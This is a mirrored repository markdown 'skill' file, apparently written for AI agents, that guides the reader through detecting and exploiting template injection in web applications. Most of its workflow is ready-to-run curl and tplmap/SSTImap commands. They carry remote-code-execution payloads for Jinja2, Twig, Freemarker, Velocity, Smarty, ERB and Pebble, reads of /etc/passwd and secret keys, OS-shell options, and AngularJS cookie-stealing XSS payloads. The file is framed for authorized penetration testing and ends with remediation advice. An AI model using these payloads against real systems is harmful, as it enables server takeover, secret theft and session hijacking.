mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-15 23:44:56 +03:00
efca3ec611
Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions) based on subdomain and content analysis. Restores 11 skills corrupted during prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields. All 754 skills now carry structured mappings for all 5 security frameworks: - MITRE ATT&CK (in tags) - MITRE ATLAS v5.5 (atlas_techniques) - MITRE D3FEND v1.3 (d3fend_techniques) - NIST AI RMF 1.0 (nist_ai_rmf) - NIST CSF 2.0 (nist_csf)
316 lines
12 KiB
Markdown
316 lines
12 KiB
Markdown
---
|
|
name: exploiting-template-injection-vulnerabilities
|
|
description: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker,
|
|
and other template engines to achieve remote code execution.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags:
|
|
- penetration-testing
|
|
- ssti
|
|
- template-injection
|
|
- rce
|
|
- web-security
|
|
- owasp
|
|
version: '1.0'
|
|
author: mahipal
|
|
license: Apache-2.0
|
|
nist_csf:
|
|
- PR.PS-01
|
|
- ID.RA-01
|
|
- PR.DS-10
|
|
- DE.CM-01
|
|
---
|
|
|
|
# Exploiting Template Injection Vulnerabilities
|
|
|
|
## When to Use
|
|
|
|
- During authorized penetration tests when user input is rendered through a server-side template engine
|
|
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
|
|
- For assessing applications that allow users to customize templates or notification messages
|
|
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)
|
|
- During security assessments of CMS platforms, marketing tools, or any application with templating functionality
|
|
|
|
## Prerequisites
|
|
|
|
- **Authorization**: Written penetration testing agreement with RCE testing scope
|
|
- **Burp Suite Professional**: For intercepting and modifying template parameters
|
|
- **tplmap**: Automated SSTI exploitation tool (`git clone https://github.com/epinna/tplmap.git`)
|
|
- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)
|
|
- **curl**: For manual SSTI payload testing
|
|
- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Identify Template Injection Points
|
|
|
|
Find parameters where user input is processed by a template engine.
|
|
|
|
```bash
|
|
# Inject mathematical expressions to detect template processing
|
|
# If the server evaluates the expression, SSTI may be present
|
|
|
|
# Universal detection payloads
|
|
PAYLOADS=(
|
|
'{{7*7}}' # Jinja2, Twig
|
|
'${7*7}' # Freemarker, Velocity, Spring EL
|
|
'#{7*7}' # Thymeleaf, Ruby ERB
|
|
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
|
|
'{7*7}' # Smarty
|
|
'{{= 7*7}}' # doT.js
|
|
'${{7*7}}' # AngularJS/Spring
|
|
'#set($x=7*7)$x' # Velocity
|
|
)
|
|
|
|
for payload in "${PAYLOADS[@]}"; do
|
|
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
echo -n "$payload -> "
|
|
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
|
|
done
|
|
|
|
# Check common injection locations:
|
|
# - Error pages with reflected input
|
|
# - Profile fields (name, bio, signature)
|
|
# - Email subject/body templates
|
|
# - PDF/report generation with custom fields
|
|
# - Search results pages
|
|
# - 404 pages reflecting the URL path
|
|
# - Notification templates
|
|
```
|
|
|
|
### Step 2: Identify the Template Engine
|
|
|
|
Determine which template engine is in use to select the appropriate exploitation technique.
|
|
|
|
```bash
|
|
# Decision tree for engine identification:
|
|
# {{7*'7'}} => 7777777 = Jinja2 (Python)
|
|
# {{7*'7'}} => 49 = Twig (PHP)
|
|
# ${7*7} => 49 = Freemarker/Velocity (Java)
|
|
# #{7*7} => 49 = Thymeleaf (Java)
|
|
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
|
|
|
|
# Test Jinja2 vs Twig
|
|
curl -s "https://target.example.com/page?name={{7*'7'}}"
|
|
# 7777777 = Jinja2
|
|
# 49 = Twig
|
|
|
|
# Test for Jinja2 specifically
|
|
curl -s "https://target.example.com/page?name={{config}}"
|
|
# Returns Flask config = Jinja2/Flask
|
|
|
|
# Test for Freemarker
|
|
curl -s "https://target.example.com/page?name=\${.now}"
|
|
# Returns date/time = Freemarker
|
|
|
|
# Test for Velocity
|
|
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
|
|
# Returns 1 = Velocity
|
|
|
|
# Test for Smarty
|
|
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
|
|
# Returns test = Smarty
|
|
|
|
# Test for Pebble
|
|
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
|
|
# Returns class info = Pebble
|
|
|
|
# Use tplmap for automated engine detection
|
|
python3 tplmap.py -u "https://target.example.com/page?name=test"
|
|
```
|
|
|
|
### Step 3: Exploit Jinja2 (Python/Flask)
|
|
|
|
Achieve code execution through Jinja2 template injection.
|
|
|
|
```bash
|
|
# Read configuration
|
|
curl -s "https://target.example.com/page?name={{config.items()}}"
|
|
|
|
# Access secret key
|
|
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
|
|
|
|
# RCE via Jinja2 - method 1: accessing os module through MRO
|
|
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
|
|
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
|
|
# RCE via Jinja2 - method 2: using cycler
|
|
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
|
|
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
|
|
# RCE via Jinja2 - method 3: using lipsum
|
|
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
|
|
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
|
|
# File read via Jinja2
|
|
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
|
|
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
|
|
# Enumerate available subclasses to find useful ones
|
|
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
|
|
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
|
|
```
|
|
|
|
### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
|
|
|
|
Use engine-specific payloads for exploitation.
|
|
|
|
```bash
|
|
# --- Twig (PHP) ---
|
|
# RCE via Twig
|
|
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
|
|
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
|
|
|
|
# Twig file read
|
|
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
|
|
|
|
# --- Freemarker (Java) ---
|
|
# RCE via Freemarker
|
|
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
|
|
|
|
# Alternative Freemarker RCE
|
|
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
|
|
|
|
# --- Velocity (Java) ---
|
|
# RCE via Velocity
|
|
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
|
|
|
|
# --- Smarty (PHP) ---
|
|
# RCE via Smarty
|
|
curl -s "https://target.example.com/page?name={system('id')}"
|
|
|
|
# --- ERB (Ruby) ---
|
|
# RCE via ERB
|
|
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
|
|
|
|
# --- Pebble (Java) ---
|
|
# RCE via Pebble
|
|
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
|
|
```
|
|
|
|
### Step 5: Automate with tplmap and SSTImap
|
|
|
|
Use automated tools for comprehensive testing and exploitation.
|
|
|
|
```bash
|
|
# tplmap - Automated SSTI exploitation
|
|
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
|
|
|
|
# tplmap with POST parameter
|
|
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
|
|
|
|
# tplmap with custom headers
|
|
python3 tplmap.py -u "https://target.example.com/page?name=test" \
|
|
-H "Cookie: session=abc123" \
|
|
-H "Authorization: Bearer token" \
|
|
--os-cmd "whoami"
|
|
|
|
# SSTImap
|
|
sstimap -u "https://target.example.com/page?name=test"
|
|
sstimap -u "https://target.example.com/page?name=test" --os-shell
|
|
|
|
# tplmap file read
|
|
python3 tplmap.py -u "https://target.example.com/page?name=test" \
|
|
--download "/etc/passwd" "/tmp/passwd"
|
|
|
|
# Burp Intruder approach:
|
|
# 1. Send request to Intruder
|
|
# 2. Mark the injectable parameter
|
|
# 3. Load SSTI payload list
|
|
# 4. Grep for indicators: "49", error messages, class names
|
|
```
|
|
|
|
### Step 6: Test Client-Side Template Injection (CSTI)
|
|
|
|
Assess for Angular/Vue/React expression injection in client-side templates.
|
|
|
|
```bash
|
|
# AngularJS expression injection
|
|
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
|
|
|
|
# AngularJS sandbox bypass (pre-1.6)
|
|
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
|
|
|
|
# Vue.js expression injection
|
|
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
|
|
|
|
# Check for AngularJS ng-app on the page
|
|
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
|
|
|
|
# Test with different CSTI payloads
|
|
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
|
|
'{{$on.constructor("alert(1)")()}}'; do
|
|
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
|
|
echo -n "$payload: "
|
|
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
|
|
done
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |
|
|
| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
|
|
| **Template Engine** | Software that processes template files with placeholders, replacing them with data |
|
|
| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |
|
|
| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |
|
|
| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |
|
|
| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |
|
|
| **SSTImap** | Modern SSTI scanner with support for multiple template engines |
|
|
| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |
|
|
| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |
|
|
| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |
|
|
| **OWASP ZAP** | Automated SSTI detection in active scanning mode |
|
|
|
|
## Common Scenarios
|
|
|
|
### Scenario 1: Flask Email Template Injection
|
|
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.
|
|
|
|
### Scenario 2: Java CMS Freemarker Injection
|
|
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute commands.
|
|
|
|
### Scenario 3: Error Page SSTI
|
|
A custom 404 error page reflects the requested URL path through a Twig template. Requesting `/{{['id']|filter('system')}}` causes the server to execute the `id` command.
|
|
|
|
### Scenario 4: AngularJS Client-Side Injection
|
|
A search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## Template Injection Finding
|
|
|
|
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
|
|
**Severity**: Critical (CVSS 9.8)
|
|
**Location**: GET /page?name= (name parameter)
|
|
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
|
|
**OWASP Category**: A03:2021 - Injection
|
|
|
|
### Reproduction Steps
|
|
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
|
|
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
|
|
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
4. Server returns: uid=33(www-data) gid=33(www-data)
|
|
|
|
### Confirmed Impact
|
|
- Remote code execution as www-data user
|
|
- Secret key disclosure: Flask SECRET_KEY exposed
|
|
- File system read: /etc/passwd, application source code
|
|
- Potential lateral movement to internal network
|
|
|
|
### Recommendation
|
|
1. Never pass user input directly to template render functions
|
|
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
|
|
3. Implement strict input validation and allowlisting for template variables
|
|
4. Use logic-less template engines (Mustache, Handlebars) where possible
|
|
5. Apply least-privilege OS permissions for the web application user
|
|
```
|